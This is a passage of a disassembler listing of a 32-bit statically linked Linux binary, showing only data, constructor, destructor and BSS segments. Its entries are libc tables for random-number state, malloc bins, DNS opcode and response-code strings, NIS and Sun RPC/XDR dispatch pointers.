	  db 98h, 15h, 47h, 7Fh, 0EFh, 54h, 29h, 88h, 8Fh, 79h
dword_8078950 dd 80788E0h		; DATA XREF: ___srandom+1E7w
					; ___setstate+D4w ...
dword_8078954 dd 80788D4h		; DATA XREF: ___srandom+1F1w
					; ___initstate+32r ...
dword_8078958 dd 80788D4h		; DATA XREF: ___srandom+9r
					; ___srandom+2Er ...
dword_807895C dd 3			; DATA XREF: ___srandom+10r
					; ___initstate+15r ...
dword_8078960 dd 1Fh			; DATA XREF: ___srandom+22r
					; ___srandom+34r ...
dword_8078964 dd 3			; DATA XREF: ___srandom+1D4r
					; ___initstate+78w ...
dword_8078968 dd 8078950h		; DATA XREF: ___initstate+131w
					; ___setstate+ECw ...
	  db 188h dup(0)
dword_8078AF4 dd 807896Ch		; DATA XREF: ___new_exitfn+3r
					; ___new_exitfn+48r ...
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
; char *dword_8078AFC
dword_8078AFC dd 0			; DATA XREF: _strtok+10r _strtok+28r ...
aUnknownErrorD db 'Unknown error %d',0  ; DATA XREF: __strerror_internal+1Do
	  align	4
dword_8078B14 dd 0			; DATA XREF: _setenv+D2w
					; _res_search+4Cw ...
word_8078B18 dw	0			; DATA XREF: start+2Fr
	  align	4
dword_8078B1C dd 8068EA4h		; DATA XREF: sub_805A11C+6w
					; sub_805A11C+5Ew ...
dword_8078B20 dd 8068EA4h		; DATA XREF: sub_805A11C+10w
dword_8078B24 dd 0			; DATA XREF: sub_805A11C+24w
					; sub_805A11C+81w ...
dword_8078B28 dd 0			; DATA XREF: sub_805A11C+1Aw
					; sub_805A11C+6Aw ...
dword_8078B2C dd 0			; DATA XREF: sub_805A11C+2Ew
					; sub_805A11C+90w ...
dword_8078B30 dd 8065DE0h		; DATA XREF: sub_805BBF4+40r
					; sub_805BBF4+D1r ...
dword_8078B34 dd 0			; DATA XREF: sub_805BBF4+58o
					; sub_805BBF4+FAo ...
dword_8078B38 dd 8078B34h		; DATA XREF: sub_805BBF4+9r
					; sub_805BBF4+72r ...
dword_8078B3C dd 8078B34h		; DATA XREF: ___libc_malloc+39r
					; ___libc_malloc+177o ...
dword_8078B40 dd 8078B3Ch		; DATA XREF: ___libc_malloc+171r
					; ___libc_malloc+1A7w ...
dword_8078B44 dd 8078B3Ch		; DATA XREF: ___libc_malloc+4Br
					; ___libc_malloc+1A2w ...
	  dd offset dword_8078B44
off_8078B4C dd offset dword_8078B44	; DATA XREF: .data:08078B50o
					; .data:08078B54o
	  dd offset off_8078B4C
off_8078B54 dd offset off_8078B4C	; DATA XREF: .data:08078B58o
					; .data:08078B5Co
	  dd offset off_8078B54
off_8078B5C dd offset off_8078B54	; DATA XREF: .data:08078B60o
					; .data:08078B64o
	  dd offset off_8078B5C
off_8078B64 dd offset off_8078B5C	; DATA XREF: .data:08078B68o
					; .data:08078B6Co
	  dd offset off_8078B64
off_8078B6C dd offset off_8078B64	; DATA XREF: .data:08078B70o
					; .data:08078B74o
	  dd offset off_8078B6C
off_8078B74 dd offset off_8078B6C	; DATA XREF: .data:08078B78o
					; .data:08078B7Co
	  dd offset off_8078B74
off_8078B7C dd offset off_8078B74	; DATA XREF: .data:08078B80o
					; .data:08078B84o
	  dd offset off_8078B7C
off_8078B84 dd offset off_8078B7C	; DATA XREF: .data:08078B88o
					; .data:08078B8Co
	  dd offset off_8078B84
off_8078B8C dd offset off_8078B84	; DATA XREF: .data:08078B90o
					; .data:08078B94o
	  dd offset off_8078B8C
off_8078B94 dd offset off_8078B8C	; DATA XREF: .data:08078B98o
					; .data:08078B9Co
	  dd offset off_8078B94
off_8078B9C dd offset off_8078B94	; DATA XREF: .data:08078BA0o
					; .data:08078BA4o
	  dd offset off_8078B9C
off_8078BA4 dd offset off_8078B9C	; DATA XREF: .data:08078BA8o
					; .data:08078BACo
	  dd offset off_8078BA4
off_8078BAC dd offset off_8078BA4	; DATA XREF: .data:08078BB0o
					; .data:08078BB4o
	  dd offset off_8078BAC
off_8078BB4 dd offset off_8078BAC	; DATA XREF: .data:08078BB8o
					; .data:08078BBCo
	  dd offset off_8078BB4
off_8078BBC dd offset off_8078BB4	; DATA XREF: .data:08078BC0o
					; .data:08078BC4o
	  dd offset off_8078BBC
off_8078BC4 dd offset off_8078BBC	; DATA XREF: .data:08078BC8o
					; .data:08078BCCo
	  dd offset off_8078BC4
off_8078BCC dd offset off_8078BC4	; DATA XREF: .data:08078BD0o
					; .data:08078BD4o
	  dd offset off_8078BCC
off_8078BD4 dd offset off_8078BCC	; DATA XREF: .data:08078BD8o
					; .data:08078BDCo
	  dd offset off_8078BD4
off_8078BDC dd offset off_8078BD4	; DATA XREF: .data:08078BE0o
					; .data:08078BE4o
	  dd offset off_8078BDC
off_8078BE4 dd offset off_8078BDC	; DATA XREF: .data:08078BE8o
					; .data:08078BECo
	  dd offset off_8078BE4
off_8078BEC dd offset off_8078BE4	; DATA XREF: .data:08078BF0o
					; .data:08078BF4o
	  dd offset off_8078BEC
off_8078BF4 dd offset off_8078BEC	; DATA XREF: .data:08078BF8o
					; .data:08078BFCo
	  dd offset off_8078BF4
off_8078BFC dd offset off_8078BF4	; DATA XREF: .data:08078C00o
					; .data:08078C04o
	  dd offset off_8078BFC
off_8078C04 dd offset off_8078BFC	; DATA XREF: .data:08078C08o
					; .data:08078C0Co
	  dd offset off_8078C04
off_8078C0C dd offset off_8078C04	; DATA XREF: .data:08078C10o
					; .data:08078C14o
	  dd offset off_8078C0C
off_8078C14 dd offset off_8078C0C	; DATA XREF: .data:08078C18o
					; .data:08078C1Co
	  dd offset off_8078C14
off_8078C1C dd offset off_8078C14	; DATA XREF: .data:08078C20o
					; .data:08078C24o
	  dd offset off_8078C1C
off_8078C24 dd offset off_8078C1C	; DATA XREF: .data:08078C28o
					; .data:08078C2Co
	  dd offset off_8078C24
off_8078C2C dd offset off_8078C24	; DATA XREF: .data:08078C30o
					; .data:08078C34o
	  dd offset off_8078C2C
off_8078C34 dd offset off_8078C2C	; DATA XREF: .data:08078C38o
					; .data:08078C3Co
	  dd offset off_8078C34
off_8078C3C dd offset off_8078C34	; DATA XREF: .data:08078C40o
					; .data:08078C44o
	  dd offset off_8078C3C
off_8078C44 dd offset off_8078C3C	; DATA XREF: .data:08078C48o
					; .data:08078C4Co
	  dd offset off_8078C44
off_8078C4C dd offset off_8078C44	; DATA XREF: .data:08078C50o
					; .data:08078C54o
	  dd offset off_8078C4C
off_8078C54 dd offset off_8078C4C	; DATA XREF: .data:08078C58o
					; .data:08078C5Co
	  dd offset off_8078C54
off_8078C5C dd offset off_8078C54	; DATA XREF: .data:08078C60o
					; .data:08078C64o
	  dd offset off_8078C5C
off_8078C64 dd offset off_8078C5C	; DATA XREF: .data:08078C68o
					; .data:08078C6Co
	  dd offset off_8078C64
off_8078C6C dd offset off_8078C64	; DATA XREF: .data:08078C70o
					; .data:08078C74o
	  dd offset off_8078C6C
off_8078C74 dd offset off_8078C6C	; DATA XREF: .data:08078C78o
					; .data:08078C7Co
	  dd offset off_8078C74
off_8078C7C dd offset off_8078C74	; DATA XREF: .data:08078C80o
					; .data:08078C84o
	  dd offset off_8078C7C
off_8078C84 dd offset off_8078C7C	; DATA XREF: .data:08078C88o
					; .data:08078C8Co
	  dd offset off_8078C84
off_8078C8C dd offset off_8078C84	; DATA XREF: .data:08078C90o
					; .data:08078C94o
	  dd offset off_8078C8C
off_8078C94 dd offset off_8078C8C	; DATA XREF: .data:08078C98o
					; .data:08078C9Co
	  dd offset off_8078C94
off_8078C9C dd offset off_8078C94	; DATA XREF: .data:08078CA0o
					; .data:08078CA4o
	  dd offset off_8078C9C
off_8078CA4 dd offset off_8078C9C	; DATA XREF: .data:08078CA8o
					; .data:08078CACo
	  dd offset off_8078CA4
off_8078CAC dd offset off_8078CA4	; DATA XREF: .data:08078CB0o
					; .data:08078CB4o
	  dd offset off_8078CAC
off_8078CB4 dd offset off_8078CAC	; DATA XREF: .data:08078CB8o
					; .data:08078CBCo
	  dd offset off_8078CB4
off_8078CBC dd offset off_8078CB4	; DATA XREF: .data:08078CC0o
					; .data:08078CC4o
	  dd offset off_8078CBC
off_8078CC4 dd offset off_8078CBC	; DATA XREF: .data:08078CC8o
					; .data:08078CCCo
	  dd offset off_8078CC4
off_8078CCC dd offset off_8078CC4	; DATA XREF: .data:08078CD0o
					; .data:08078CD4o
	  dd offset off_8078CCC
off_8078CD4 dd offset off_8078CCC	; DATA XREF: .data:08078CD8o
					; .data:08078CDCo
	  dd offset off_8078CD4
off_8078CDC dd offset off_8078CD4	; DATA XREF: .data:08078CE0o
					; .data:08078CE4o
	  dd offset off_8078CDC
off_8078CE4 dd offset off_8078CDC	; DATA XREF: .data:08078CE8o
					; .data:08078CECo
	  dd offset off_8078CE4
off_8078CEC dd offset off_8078CE4	; DATA XREF: .data:08078CF0o
					; .data:08078CF4o
	  dd offset off_8078CEC
off_8078CF4 dd offset off_8078CEC	; DATA XREF: .data:08078CF8o
					; .data:08078CFCo
	  dd offset off_8078CF4
off_8078CFC dd offset off_8078CF4	; DATA XREF: .data:08078D00o
					; .data:08078D04o
	  dd offset off_8078CFC
off_8078D04 dd offset off_8078CFC	; DATA XREF: .data:08078D08o
					; .data:08078D0Co
	  dd offset off_8078D04
off_8078D0C dd offset off_8078D04	; DATA XREF: .data:08078D10o
					; .data:08078D14o
	  dd offset off_8078D0C
off_8078D14 dd offset off_8078D0C	; DATA XREF: .data:08078D18o
					; .data:08078D1Co
	  dd offset off_8078D14
off_8078D1C dd offset off_8078D14	; DATA XREF: .data:08078D20o
					; .data:08078D24o
	  dd offset off_8078D1C
off_8078D24 dd offset off_8078D1C	; DATA XREF: .data:08078D28o
					; .data:08078D2Co
	  dd offset off_8078D24
off_8078D2C dd offset off_8078D24	; DATA XREF: .data:08078D30o
					; .data:08078D34o
	  dd offset off_8078D2C
off_8078D34 dd offset off_8078D2C	; DATA XREF: .data:08078D38o
					; .data:08078D3Co
	  dd offset off_8078D34
off_8078D3C dd offset off_8078D34	; DATA XREF: .data:08078D40o
					; .data:08078D44o
	  dd offset off_8078D3C
off_8078D44 dd offset off_8078D3C	; DATA XREF: .data:08078D48o
					; .data:08078D4Co
	  dd offset off_8078D44
off_8078D4C dd offset off_8078D44	; DATA XREF: .data:08078D50o
					; .data:08078D54o
	  dd offset off_8078D4C
off_8078D54 dd offset off_8078D4C	; DATA XREF: .data:08078D58o
					; .data:08078D5Co
	  dd offset off_8078D54
off_8078D5C dd offset off_8078D54	; DATA XREF: .data:08078D60o
					; .data:08078D64o
	  dd offset off_8078D5C
off_8078D64 dd offset off_8078D5C	; DATA XREF: .data:08078D68o
					; .data:08078D6Co
	  dd offset off_8078D64
off_8078D6C dd offset off_8078D64	; DATA XREF: .data:08078D70o
					; .data:08078D74o
	  dd offset off_8078D6C
off_8078D74 dd offset off_8078D6C	; DATA XREF: .data:08078D78o
					; .data:08078D7Co
	  dd offset off_8078D74
off_8078D7C dd offset off_8078D74	; DATA XREF: .data:08078D80o
					; .data:08078D84o
	  dd offset off_8078D7C
off_8078D84 dd offset off_8078D7C	; DATA XREF: .data:08078D88o
					; .data:08078D8Co
	  dd offset off_8078D84
off_8078D8C dd offset off_8078D84	; DATA XREF: .data:08078D90o
					; .data:08078D94o
	  dd offset off_8078D8C
off_8078D94 dd offset off_8078D8C	; DATA XREF: .data:08078D98o
					; .data:08078D9Co
	  dd offset off_8078D94
off_8078D9C dd offset off_8078D94	; DATA XREF: .data:08078DA0o
					; .data:08078DA4o
	  dd offset off_8078D9C
off_8078DA4 dd offset off_8078D9C	; DATA XREF: .data:08078DA8o
					; .data:08078DACo
	  dd offset off_8078DA4
off_8078DAC dd offset off_8078DA4	; DATA XREF: .data:08078DB0o
					; .data:08078DB4o
	  dd offset off_8078DAC
off_8078DB4 dd offset off_8078DAC	; DATA XREF: .data:08078DB8o
					; .data:08078DBCo
	  dd offset off_8078DB4
off_8078DBC dd offset off_8078DB4	; DATA XREF: .data:08078DC0o
					; .data:08078DC4o
	  dd offset off_8078DBC
off_8078DC4 dd offset off_8078DBC	; DATA XREF: .data:08078DC8o
					; .data:08078DCCo
	  dd offset off_8078DC4
off_8078DCC dd offset off_8078DC4	; DATA XREF: .data:08078DD0o
					; .data:08078DD4o
	  dd offset off_8078DCC
off_8078DD4 dd offset off_8078DCC	; DATA XREF: .data:08078DD8o
					; .data:08078DDCo
	  dd offset off_8078DD4
off_8078DDC dd offset off_8078DD4	; DATA XREF: .data:08078DE0o
					; .data:08078DE4o
	  dd offset off_8078DDC
off_8078DE4 dd offset off_8078DDC	; DATA XREF: .data:08078DE8o
					; .data:08078DECo
	  dd offset off_8078DE4
off_8078DEC dd offset off_8078DE4	; DATA XREF: .data:08078DF0o
					; .data:08078DF4o
	  dd offset off_8078DEC
off_8078DF4 dd offset off_8078DEC	; DATA XREF: .data:08078DF8o
					; .data:08078DFCo
	  dd offset off_8078DF4
off_8078DFC dd offset off_8078DF4	; DATA XREF: .data:08078E00o
					; .data:08078E04o
	  dd offset off_8078DFC
off_8078E04 dd offset off_8078DFC	; DATA XREF: .data:08078E08o
					; .data:08078E0Co
	  dd offset off_8078E04
off_8078E0C dd offset off_8078E04	; DATA XREF: .data:08078E10o
					; .data:08078E14o
	  dd offset off_8078E0C
off_8078E14 dd offset off_8078E0C	; DATA XREF: .data:08078E18o
					; .data:08078E1Co
	  dd offset off_8078E14
off_8078E1C dd offset off_8078E14	; DATA XREF: .data:08078E20o
					; .data:08078E24o
	  dd offset off_8078E1C
off_8078E24 dd offset off_8078E1C	; DATA XREF: .data:08078E28o
					; .data:08078E2Co
	  dd offset off_8078E24
off_8078E2C dd offset off_8078E24	; DATA XREF: .data:08078E30o
					; .data:08078E34o
	  dd offset off_8078E2C
off_8078E34 dd offset off_8078E2C	; DATA XREF: .data:08078E38o
					; .data:08078E3Co
	  dd offset off_8078E34
off_8078E3C dd offset off_8078E34	; DATA XREF: .data:08078E40o
					; .data:08078E44o
	  dd offset off_8078E3C
off_8078E44 dd offset off_8078E3C	; DATA XREF: .data:08078E48o
					; .data:08078E4Co
	  dd offset off_8078E44
off_8078E4C dd offset off_8078E44	; DATA XREF: .data:08078E50o
					; .data:08078E54o
	  dd offset off_8078E4C
off_8078E54 dd offset off_8078E4C	; DATA XREF: .data:08078E58o
					; .data:08078E5Co
	  dd offset off_8078E54
off_8078E5C dd offset off_8078E54	; DATA XREF: .data:08078E60o
					; .data:08078E64o
	  dd offset off_8078E5C
off_8078E64 dd offset off_8078E5C	; DATA XREF: .data:08078E68o
					; .data:08078E6Co
	  dd offset off_8078E64
off_8078E6C dd offset off_8078E64	; DATA XREF: .data:08078E70o
					; .data:08078E74o
	  dd offset off_8078E6C
off_8078E74 dd offset off_8078E6C	; DATA XREF: .data:08078E78o
					; .data:08078E7Co
	  dd offset off_8078E74
off_8078E7C dd offset off_8078E74	; DATA XREF: .data:08078E80o
					; .data:08078E84o
	  dd offset off_8078E7C
off_8078E84 dd offset off_8078E7C	; DATA XREF: .data:08078E88o
					; .data:08078E8Co
	  dd offset off_8078E84
off_8078E8C dd offset off_8078E84	; DATA XREF: .data:08078E90o
					; .data:08078E94o
	  dd offset off_8078E8C
off_8078E94 dd offset off_8078E8C	; DATA XREF: .data:08078E98o
					; .data:08078E9Co
	  dd offset off_8078E94
off_8078E9C dd offset off_8078E94	; DATA XREF: .data:08078EA0o
					; .data:08078EA4o
	  dd offset off_8078E9C
off_8078EA4 dd offset off_8078E9C	; DATA XREF: .data:08078EA8o
					; .data:08078EACo
	  dd offset off_8078EA4
off_8078EAC dd offset off_8078EA4	; DATA XREF: .data:08078EB0o
					; .data:08078EB4o
	  dd offset off_8078EAC
off_8078EB4 dd offset off_8078EAC	; DATA XREF: .data:08078EB8o
					; .data:08078EBCo
	  dd offset off_8078EB4
off_8078EBC dd offset off_8078EB4	; DATA XREF: .data:08078EC0o
					; .data:08078EC4o
	  dd offset off_8078EBC
off_8078EC4 dd offset off_8078EBC	; DATA XREF: .data:08078EC8o
					; .data:08078ECCo
	  dd offset off_8078EC4
off_8078ECC dd offset off_8078EC4	; DATA XREF: .data:08078ED0o
					; .data:08078ED4o
	  dd offset off_8078ECC
off_8078ED4 dd offset off_8078ECC	; DATA XREF: .data:08078ED8o
					; .data:08078EDCo
	  dd offset off_8078ED4
off_8078EDC dd offset off_8078ED4	; DATA XREF: .data:08078EE0o
					; .data:08078EE4o
	  dd offset off_8078EDC
off_8078EE4 dd offset off_8078EDC	; DATA XREF: .data:08078EE8o
					; .data:08078EECo
	  dd offset off_8078EE4
off_8078EEC dd offset off_8078EE4	; DATA XREF: .data:08078EF0o
					; .data:08078EF4o
	  dd offset off_8078EEC
off_8078EF4 dd offset off_8078EEC	; DATA XREF: .data:08078EF8o
					; .data:08078EFCo
	  dd offset off_8078EF4
off_8078EFC dd offset off_8078EF4	; DATA XREF: .data:08078F00o
					; .data:08078F04o
	  dd offset off_8078EFC
off_8078F04 dd offset off_8078EFC	; DATA XREF: .data:08078F08o
					; .data:08078F0Co
	  dd offset off_8078F04
off_8078F0C dd offset off_8078F04	; DATA XREF: .data:08078F10o
					; .data:08078F14o
	  dd offset off_8078F0C
off_8078F14 dd offset off_8078F0C	; DATA XREF: .data:08078F18o
					; .data:08078F1Co
	  dd offset off_8078F14
off_8078F1C dd offset off_8078F14	; DATA XREF: .data:08078F20o
					; .data:08078F24o
	  dd offset off_8078F1C
off_8078F24 dd offset off_8078F1C	; DATA XREF: .data:08078F28o
					; .data:08078F2Co
	  dd offset off_8078F24
off_8078F2C dd offset off_8078F24	; DATA XREF: .data:08078F30o
					; .data:08078F34o
	  dd offset off_8078F2C
off_8078F34 dd offset off_8078F2C	; DATA XREF: sub_805CA24+95o
					; sub_805CA24+132o
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
dword_8078F3C dd 20000h			; DATA XREF: ___libc_free+70r
					; ___libc_mallopt+22w
; size_t dword_8078F40
dword_8078F40 dd 0			; DATA XREF: sub_805BBF4+21r
					; ___libc_free+7Cr ...
dword_8078F44 dd 40h			; DATA XREF: sub_805BA88+17r
					; ___libc_mallopt+54w
dword_8078F48 dd 20000h			; DATA XREF: ___libc_malloc+43Dr
					; ___libc_mallopt+44w
dword_8078F4C dd 0FFFFFFFFh		; DATA XREF: sub_805BBF4+2Ar
					; sub_805BBF4+84r ...
dword_8078F50 dd 0			; DATA XREF: sub_805BBF4+150r
					; sub_805BBF4+158w
dword_8078F54 dd 0			; DATA XREF: sub_805BA88+91r
					; sub_805BA88+99w ...
dword_8078F58 dd 0			; DATA XREF: sub_805BA88+8Br
					; sub_805BB64+6Fr ...
dword_8078F5C dd 0			; DATA XREF: sub_805CA24+13Ew
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
dword_8078F64 dd 0			; DATA XREF: sub_805CA24+15Dw
dword_8078F68 dd 0			; DATA XREF: sub_805CA24+167w
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
dword_8078F74 dd 0			; DATA XREF: sub_805CA24+14Cw
					; _malloc_stats+38r
dword_8078F78 dd 0			; DATA XREF: sub_805CA24+152w
dword_8078F7C dd 0			; DATA XREF: sub_805CA24+175w
dword_8078F80 dd 0			; DATA XREF: sub_805BA88+12r
					; sub_805BA88+44w ...
dword_8078F84 dd 0			; DATA XREF: sub_805BA88+50r
					; sub_805BA88+58w ...
dword_8078F88 dd 0			; DATA XREF: sub_805BA88+6Er
					; sub_805BA88+74w ...
dword_8078F8C dd 0			; DATA XREF: sub_805BA88+79r
					; sub_805BA88+81w ...
	  dd offset aYplib_cV2_6199	; "yplib.c,v 2.6 1994/05/27 14:34:43 swen "...
dword_8078F94 dd 0FFFFFFFFh		; DATA XREF: ___yp_dobind+21r
					; ___yp_dobind+2Ar ...
; char *dword_8078F98
dword_8078F98 dd 0			; DATA XREF: _catopen+A0r _catopen+BBr ...
dword_8078F9C dd 0			; DATA XREF: sub_804A9D8+198r
					; sub_804A9D8+2A1r ...
dword_8078FA0 dd 8069BC0h		; DATA XREF: sub_804A9D8+DBr
					; sub_804A9D8+153r ...
dword_8078FA4 dd 806A5C2h		; DATA XREF: sub_804D458+16r
					; ___printf_fp+10E1r ...
dword_8078FA8 dd 8069FC1h		; DATA XREF: ___strtol_internal+E2r
					; ___strtol_internal+FFr ...
dword_8078FAC dd 80699BFh		; DATA XREF: ___fp_nquery+82r
	  dd offset aIquery		; "IQUERY"
	  dd offset aCquerym		; "CQUERYM"
	  dd offset aCqueryu		; "CQUERYU"
	  dd offset aNotify		; "NOTIFY"
	  dd offset a8765+6
	  dd offset a8765+4
	  dd offset a8765+2
	  dd offset a8765		; "8765"
	  dd offset aUpdatea		; "UPDATEA"
	  dd offset aUpdated		; "UPDATED"
	  dd offset aUpdateda		; "UPDATEDA"
	  dd offset aUpdatem		; "UPDATEM"
	  dd offset aUpdatema		; "UPDATEMA"
	  dd offset aZoneinit		; "ZONEINIT"
	  dd offset aZoneref		; "ZONEREF"
dword_8078FEC dd 8069A08h		; DATA XREF: ___fp_nquery+71r
	  dd offset aFormerr		; "FORMERR"
	  dd offset aServfail		; "SERVFAIL"
	  dd offset aNxdomain		; "NXDOMAIN"
	  dd offset aNotimp		; "NOTIMP"
	  dd offset aRefused		; "REFUSED"
	  dd offset a8765+4
	  dd offset a8765+2
	  dd offset a8765		; "8765"
	  dd offset a9			; "9"
	  dd offset a10			; "10"
	  dd offset a11			; "11"
	  dd offset a12			; "12"
	  dd offset a13			; "13"
	  dd offset a14			; "14"
	  dd offset aNochange		; "NOCHANGE"
unk_807902C db	  0 ;			; DATA XREF: __IO_fopen+28o
	  db 0Bh dup(0), 0DCh, 0Dh, 6, 8, 4 dup(0), 18h, 11h, 6, 8, 4 dup(0)
	  db 6Ch, 10h, 6, 8, 5 dup(0), 1Ch, 6, 8, 4 dup(0), 0B8h, 23h
	  db 6,	8, 4 dup(0), 64h, 15h, 6, 8, 4 dup(0), 4Ch, 1Dh, 6, 8
	  db 4 dup(0), 78h, 12h, 6, 8, 4 dup(0), 0C8h, 1Eh, 6, 8, 4 dup(0)
	  db 60h, 0Fh, 6, 8, 4 dup(0), 10h, 12h, 6, 8, 4 dup(0), 1Ch, 6Bh
	  db 6,	8, 4 dup(0), 8Ch, 14h, 6, 8, 4 dup(0), 10h, 15h, 6, 8
	  db 4 dup(0), 0C4h, 14h, 6, 8,	4 dup(0), 0FCh,	14h, 6,	8, 4 dup(0)
	  db 0E0h, 14h,	6, 8
; char *off_80790BC
off_80790BC dd offset unk_806AABC	; DATA XREF: sub_8062940+4Br
					; sub_8062940+CFr ...
	  dd offset unk_806AABC
	  dd offset unk_806AABC
	  dd offset unk_806AABC
	  dd offset unk_806AABC
	  dd offset unk_806AABC
dword_80790D4 dd 806AABCh		; DATA XREF: sub_8062C9C+Cr
					; sub_8062C9C+12w ...
unk_80790D8 db	  0 ;			; DATA XREF: _clnt_sperrno+10o
					; _clnt_sperrno+17o
	  db 3 dup(0), 9, 0ADh,	6, 8, 1, 3 dup(0), 0EDh, 0ACh, 6, 8, 2
	  db 3 dup(0), 0D4h, 0ACh, 6, 8, 3, 3 dup(0), 0C0h, 0ACh, 6, 8
	  db 4,	3 dup(0), 0A9h,	0ACh, 6, 8, 5, 3 dup(0), 9Ah, 0ACh, 6
	  db 8,	6, 3 dup(0), 78h, 0ACh,	6, 8, 7, 3 dup(0), 5Eh,	0ACh, 6
	  db 2 dup(8), 3 dup(0), 45h, 0ACh, 6, 8, 9, 3 dup(0), 27h, 0ACh
	  db 6,	8, 0Ah,	3 dup(0), 0Ch, 0ACh, 6,	8, 0Bh,	3 dup(0), 0E9h
	  db 0ABh, 6, 8, 0Ch, 3	dup(0),	0D0h, 0ABh, 6, 8, 0Dh, 3 dup(0)
	  db 0BEh, 0ABh, 6, 8, 11h, 3 dup(0), 0A8h, 0ABh, 6, 8,	0Eh, 3 dup(0)
	  db 8Fh, 0ABh,	6, 8, 0Fh, 3 dup(0), 73h, 0ABh,	6, 8, 10h, 3 dup(0)
	  db 53h, 0ABh,	6, 8
unk_8079168 db	  0 ;			; DATA XREF: sub_8063A74+10o
					; sub_8063A74+17o
	  db 3 dup(0), 0F1h, 0ADh, 6, 8, 1, 3 dup(0), 0D7h, 0ADh, 6, 8
	  db 2,	3 dup(0), 0BCh,	0ADh, 6, 8, 3, 3 dup(0), 0A4h, 0ADh, 6
	  db 8,	4, 3 dup(0), 8Bh, 0ADh,	6, 8, 5, 3 dup(0), 70h,	0ADh, 6
	  db 8,	6, 3 dup(0), 58h, 0ADh,	6, 8, 7, 3 dup(0), 3Dh,	0ADh, 6
	  db 8
off_80791A8 dd offset sub_8063D20	; DATA XREF: _clnttcp_create+1ECo
	  dd offset sub_8063FAC
	  dd offset sub_8063F60
	  dd offset sub_8063F84
	  dd offset sub_806402C
	  dd offset sub_8063FB4
off_80791C0 dd offset sub_8064438	; DATA XREF: _clntudp_bufcreate+D8o
	  dd offset sub_80648D0
	  dd offset sub_8064884
	  dd offset sub_80648A8
	  dd offset sub_8064978
	  dd offset sub_80648D8
dword_80791D8 dd 5			; DATA XREF: _pmap_getport+37r
dword_80791DC dd 0			; DATA XREF: _pmap_getport+30r
dword_80791E0 dd 3Ch			; DATA XREF: _pmap_getport+73r
dword_80791E4 dd 0			; DATA XREF: _pmap_getport+6Dr
unk_80791E8 db	  0 ;			; DATA XREF: _xdr_replymsg+32o
	  db 3 dup(0), 70h, 4Bh, 6, 8, 1, 3 dup(0), 0E8h, 4Bh, 6, 8, 4 dup(0FFh)
	  db 24h dup(0)
dword_8079220 dd 0			; DATA XREF: _clnt_spcreateerror+2Dr
					; _clnt_spcreateerror+42r ...
dword_8079224 dd 0			; DATA XREF: _clnt_spcreateerror+60r
					; _pmap_getport+A7o
dword_8079228 dd 0			; DATA XREF: _clnt_spcreateerror+86r
					; _clnt_spcreateerror+8Fr ...
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
dword_8079230 dd 0			; DATA XREF: sub_8063D20+138r
					; sub_8064438+172r ...
dword_8079234 dd 0			; DATA XREF: sub_8063D20+141r
					; sub_8064438+17Br ...
dword_8079238 dd 0			; DATA XREF: sub_8063D20+14Ar
					; sub_8064438+184r ...
unk_807923C db	  0 ;			; DATA XREF: _xdr_opaque+6Fo
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
off_8079240 dd offset sub_806543C	; DATA XREF: _xdrmem_create+12o
	  dd offset sub_8065474
	  dd offset sub_80654AC
	  dd offset sub_80654E8
	  dd offset sub_8065524
	  dd offset sub_8065538
	  dd offset sub_8065568
	  dd offset sub_8065434
off_8079260 dd offset sub_8065848	; DATA XREF: _xdrrec_create+94o
	  dd offset sub_80658B4
	  dd offset sub_8065910
	  dd offset sub_806597C
	  dd offset sub_80659EC
	  dd offset sub_8065A40
	  dd offset sub_8065AB8
	  dd offset sub_8065B0C
dword_8079280 dd 0			; DATA XREF: ___sbrk+13r ___sbrk+20w ...
off_8079284 dd offset unk_806BBBC	; DATA XREF: .rodata:0806AA10o
dword_8079288 dd 806A9C4h		; DATA XREF: __nl_postload_ctype+3r
off_807928C dd offset unk_806BC14	; DATA XREF: .rodata:0806AA18o
off_8079290 dd offset unk_806BBC8	; DATA XREF: .rodata:0806AA14o
off_8079294 dd offset unk_806BC54	; DATA XREF: .rodata:0806AA0Co
off_8079298 dd offset sub_806717C	; DATA XREF: _authnone_create+61o
	  dd offset sub_806714C
	  dd offset sub_8067184
	  dd offset sub_8067190
	  dd offset sub_806719C
_data	  ends

; ННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН

; Segment type:	Pure data
; Segment permissions: Read/Write
_ctors	  segment dword	public 'DATA' use32
	  assume cs:_ctors
	  ;org 80792ACh
dword_80792AC dd 0FFFFFFFFh		; DATA XREF: sub_80675A8+1o
					; sub_80675A8+6r
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
_ctors	  ends

; ННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН

; Segment type:	Pure data
; Segment permissions: Read/Write
_dtors	  segment dword	public 'DATA' use32
	  assume cs:_dtors
	  ;org 80792B4h
	  db 0FFh ;  
	  db 0FFh ;  
	  db 0FFh ;  
	  db 0FFh ;  
dword_80792B8 dd 0			; DATA XREF: f_called_by_term_proc+1o
					; f_called_by_term_proc+6r
_dtors	  ends

; ННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН

; Segment type:	Uninitialized
; Segment permissions: Read/Write
_bss	  segment dword	public 'BSS' use32
	  assume cs:_bss
	  ;org 80792BCh
	  assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; void destination
destination dd ?			; DATA XREF: f_gethostname_addr_list+1Fo
					; f_gethostname_addr_list+29r
unk_80792C0 db	  ? ;			; DATA XREF: sub_804A5CC+96o
					; sub_804A5CC+349o
	  db 0EFh dup(?)
; char *dword_80793B0
dword_80793B0 dd ?			; DATA XREF: sub_804A5CC+96w
					; sub_804A5CC+DFr ...
unk_80793B4 db	  ? ;			; DATA XREF: __gethtbyname+34o
	  db 400h dup(?)
unk_80797B5 db	  ? ;			; DATA XREF: __gethtbyname+3Bo
	  db 402h dup(?)
dword_8079BB8 dd ?			; DATA XREF: __gethtbyname+12o
					; __gethtbyname+20w ...
	  db 8Ch dup(?)
dword_8079C48 dd ?			; DATA XREF: __gethtbyname+19o
					; __gethtbyname+2Aw ...
	  db 8Ch dup(?)
dword_8079CD8 dd ?			; DATA XREF: __gethtbyname+20Aw
